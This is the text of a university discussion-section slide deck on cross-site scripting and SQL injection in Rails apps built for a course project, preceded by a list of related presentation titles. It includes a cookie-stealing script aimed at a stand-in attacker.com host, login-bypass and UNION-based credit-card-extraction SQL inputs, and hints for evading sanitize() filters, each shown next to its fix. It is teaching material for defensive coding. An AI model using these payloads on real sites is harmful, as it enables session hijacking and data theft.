Project 7 Discussion Section XSS and SQL Injection in Rails.

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

Cross Site Scripting (XSS)
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Nick Tsamis University of Tulsa CS 7493 April 2013.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Cross Site Scripting & SQL injection
Attacking Authentication and Authorization CSE 591 – Security and Vulnerability Analysis Spring 2015 Adam Doupé Arizona State University
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
COMP 321 Week 12. Overview Web Application Security  Authentication  Authorization  Confidentiality Cross-Site Scripting Lab 12-1 Introduction.
Introduction The concept of “SQL Injection”
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009.
Lab 3 Cookie Stealing using XSS Kara James, Chelsea Collins, Trevor Norwood, David Johnson.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 12.1 Nov 20, 2012 SQL Injection Cross-Site Scripting.
Workshop 3 Web Application Security Li Weichao March
Open Source Server Side Scripting ECA 236 Open Source Server Side Scripting Cookies & Sessions.
CSCD 303 Essential Computer Security Winter 2014 Lecture 12 – XSS, SQL Injection and CRSF Reading: See links - End of Slides.
Prevent Cross-Site Scripting (XSS) attack
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Analysis of SQL injection prevention using a proxy server By: David Rowe Supervisor: Barry Irwin.
Introduction to InfoSec – Recitation 7 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
1 PHP and MySQL. 2 Topics  Querying Data with PHP  User-Driven Querying  Writing Data with PHP and MySQL PHP and MySQL.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
A Data-Centric Web Application Security Framework Jonathan Burket, Patrick Mutchler, Michael Weaver, Muzzammil Zaveri, and David Evans University of Virginia.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Cross Site Scripting (XSS) Chaitanya Lakshmi
Accessing MySQL with PHP IDIA 618 Fall 2014 Bridget M. Blodgett.
Analysis of SQL injection prevention using a proxy server By: David Rowe Supervisor: Barry Irwin.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Foundations of Network and Computer Security J J ohn Black CSCI 6268/TLEN 5550, Spring 2013.
Analysis of SQL injection prevention using a filtering proxy server By: David Rowe Supervisor: Barry Irwin.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
Okalo Daniel Ikhena Dr. V. Z. Këpuska December 7, 2007.
Input Validation – common associated risks  ______________ user input controls SQL statements ultimately executed by a database server
Sumanth M Ganesh B CPSC 620.  SQL Injection attacks allow a malicious individual to execute arbitrary SQL code on your server  The attack could involve.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
Cloud = Web, Web = Hacked! Fabio Viggiani. Why Web Apps? Every organization exposes web apps Most common entry point Image source:
An Intro to Webhackery Parisa Tabriz. How the web was born Stage 1 : Network Protocols Stage 2 : HTTP Stage 3 : Server Side Scripting Stage 4 : Client.
Web Application Vulnerabilities ECE 4112 Internetwork Security, Spring 2005 Chris Kelly Chris Lewis April 28, 2005 ECE 4112 Internetwork Security, Spring.
Chapter 16 The World Wide Web. FIGURE 16.0.F01: A very, very simple Web page. Courtesy of Dr. Richard Smith.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
Security Attacks CS 795. Buffer Overflow Problem Buffer overflow Analysis of Buffer Overflow Attacks.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
What Is XSS ? ! Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
Introduction of XSS:-- Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted.
Cross Site Scripting (XSS) Attack Chien-Chung Shen
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Google’s Gruyere1 : An XSS Example Presented by: Terry Gregory
Group 18: Chris Hood Brett Poche
Module: Software Engineering of Web Applications
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Developing Secure Web Applications
Web Programming Language
Protecting Against Common Web Application Vulnerabilities
Lecture 27 Security I April 4, 2018 Open news web sites.
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Cross-Site Scripting Attack (XSS)
Presentation transcript:

Project 7 Discussion Section XSS and SQL Injection in Rails

Agenda XSS coverage  XSS #1: Project 7 Part 1  XSS #2: Project 5 Part 3  Rails’ sanitize(): Project 7 Part 2 SQL Injection (Project 7 Part 3)  SQL Injection #1  SQL Injection #2 Project 7 Specifics: encodings, SVG

XSS and SQL Injection Code injection vulnerabilities.  Rough generalization: Data input unexpectedly becomes code. In XSS, the code is JavaScript in HTML document. In SQL Injection, the code is SQL to the database.

XSS Background Same-origin policy prevents JavaScript from a.com to manipulate DOM from b.com. This does not work from evil.com. frames[0].forms[0].onsubmit = function() { // send me your login and password... } So attacker needs to inject JavaScript code into some page on domain.

XSS #1

In controller: def = params[:query] end In view Search result for Input through GET method

XSS #1: Normal Search Input: flower URL: Resulting page Search result for flower

XSS #1: Abnormal Search Input: alert(document.cookie) URL-encoded input: %3Cscript%3Ealert%28document.cookie% 29%3C/script%3E%0A URL: %3Cscript%3Ealert%28document.cookie% 29%3C/script%3E%0A

XSS #1 Result page Search result for alert(document.cookie) URL-encoding has been decoded automatically.

XSS #1: Attacker Search Q: What does this do? (new Image()).src=“ + document.cookie A: Send visitor’s cookie to attacker! URL-encoded URL: %3Cscript%3E%28new%20Image%28%29%29.src%3D%u201Chtt p%3A//attacker.com/ .php%3Fcontent%3D%u201D%20%20%2 0document.cookie%u201D%3B%3C/script%3E Make intended victim visit the above URL

XSS #1 Resulting page Search result for (new Image()).src=“ om/ .php?content=” + document.cookie

XSS #1 Fix: Escape “ ”  “<“ → “<”  “>” → “>” h function does this In view Search result for

XSS #1 Resulting page on attempted attack Search result for <script>(new Image()).src=“ om/ .php?content=” + document.cookie</script>

XSS #1 Questions?

XSS #2 Project 5 Part 3 File upload allows any file upload, including HTML File is opened on same domain No sanitization of the HTML file at all against JavaScript. Possible solution: document.alert(cookie)

XSS #2 Possible Fix: Delete JavaScript  Try viewing an HTML file with JavaScript in Gmail  Result of uploading last file: [blank] Eventual Fix: Make server tell browser to treat the file as attachment  Now file opened on local hard drive  Same-origin policy prevents XSS

XSS #2 Questions?

Rails’ sanitize() How if you want to allow HTML tags? Solution: sanitize function

Rails’ sanitize() Rails 2.0 uses new blacklist / whitelist filter Whitelist prevents unexpected protocols  You might blacklist javascript: as a protocol  However, there are livescript: and mocha: in Netscape 4 and vbscript: in IE 6. Default generally works well. src, href with “javascript:” deleted deleted

Rails’ sanitize() Put customizations in config/environment.rb Restart after you change anything under config Lesson from project 7: Careful what additional tags, protocols you allow!

Rails’ sanitize() Questions?

SQL Injection In SQL Injection, SQL is injected into vulnerable SQL execution statement. Result: Unexpected SQL execution

SQL Injection #1: Login Form

SQL Injection #1 Vulnerable Code User.find(:all, :conditions => “username = #{params[:username]} AND password = #{params[:password]}”) This translates into  SELECT * FROM users WHERE (username = ‘...’ AND password =‘...’)  Attacker decides what … will be.

SQL Injection #1 Normal input  username = tom  password = passw0rd Resulting Query SELECT* FROM users WHERE (username = ‘tom’ AND password = ‘passw0rd’)

SQL Injection #1 Attacker Input  username: tom’) --  password: whatever Resulting Query  SELECT * FROM users WHERE (username = ‘tom’) -- ’ AND password = ‘whatever’)  Logs in as tom regardless of password.

SQL Injection #1 Abnormal Input  username: ‘); DROP TABLE users --  password: whatever Resulting Query:  SELECT * FROM users WHERE (username = ‘’; DROP TABLE users -- ’ AND password = ‘whatever’) Q: Would this work? A: No. Semicolon not allowed, so no way to inject new statement.

SQL Injection #1: Fix Fix the vulnerable statement  Vulnerable Statement User.find(:all, :conditions => “username = #{params[:username]} AND password = #{params[:password]}”)  Fixed Statement User.find(:all, :conditions => {:username => params[:username], :password => params[:password]}) In second form, Rails knows each argument is supposed to be for one parameter and sanitize for you. Questions?

SQL Injection #2 Pizza example, rehashed

SQL Injection #2 In = PizzaOrder.find(:all, :conditions => “month = #{params[:month]}”)

SQL Injection #2 In view

SQL Injection #2 Resulting Query SELECT * FROM pizza_orders where (month = ‘...’) Normal input  month = 10 Resulting Query SELECT * FROM pizza_orders WHERE (month = ‘10’)

SQL Injection #2

Attacker Input  month = 13’) UNION ALL SELECT name, CC_num, exp_mon, exp_year FROM creditcards -- Resulting Query SELECT * FROM pizza_orders WHERE (month = 13’) UNION ALL SELECT name, CC_num, exp_mon, exp_year FROM creditcards -- ’)

SQL Injection #2

SQL Injection #2: = PizzaOrder.find(:all, :conditions => “month = #{params[:month]}”) Fixed = PizzaOrder.find(:all, :conditions => {:month => params[:month])

SQL Injection #2 Questions?

Project 7 Specifics: URL-Encoding Firefox allows URL w/o URL encoding Put in %20 at the end, or Firefox trims spaces in the back Once you figure out exact URL, use any URL encoder online

Project 7 Specifics: Encoding javascript:, stripped by sanitize How do we get around? See protocol allowed in config/environment.rb and consider different encodings For encoding, feel free to use any encoder online

Project 7 Specifics: SVG Use SVG document for Part 2. SVG document  Use data protocol to encode SVG document You can include tag in SVG document. See p p

Project 7 Specifics: Script script link in Simple Blog I monitor script usage

Project 7 Specifics Questions? Comments?